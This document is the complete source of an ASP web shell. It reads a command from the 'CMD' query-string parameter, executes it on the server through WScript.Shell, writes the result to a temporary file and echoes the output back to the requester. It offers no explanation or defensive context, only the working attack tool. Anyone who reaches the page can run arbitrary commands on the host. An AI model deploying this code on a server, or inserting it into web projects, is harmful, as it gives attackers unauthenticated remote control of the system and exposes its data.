%
Set FileSys = Server.CreateObject("Scripting.FileSystemObject")
FileName = FileSys.GetTempName
Set WShShell = Server.CreateObject("WScript.Shell")
If Request.QueryString("CMD") <> "" Then
Set CMD = Request.QueryString("CMD")
CMD = Trim(CMD) & " > TmpFile.txt"
Response.Write("Executing " & CMD & "
")
RetCode = WShShell.Run(CMD, 1, True)
if RetCode = 0 Then
Set TextFile = FileSys.OpenTextFile("TmpFile.txt", 1)
TextBuffer = TextFile.ReadAll
Response.Write("")
For i = 1 to Len(TextBuffer)
Response.Write(Mid(TextBuffer,i,1))
Next
Response.Write("")
TextFile.Close
FileSys.DeleteFile "TmpFile.txt"
else
%> There were errors. <%
end if
Else
%> ASP requires GET w/ "CMD=" <%
End If
%>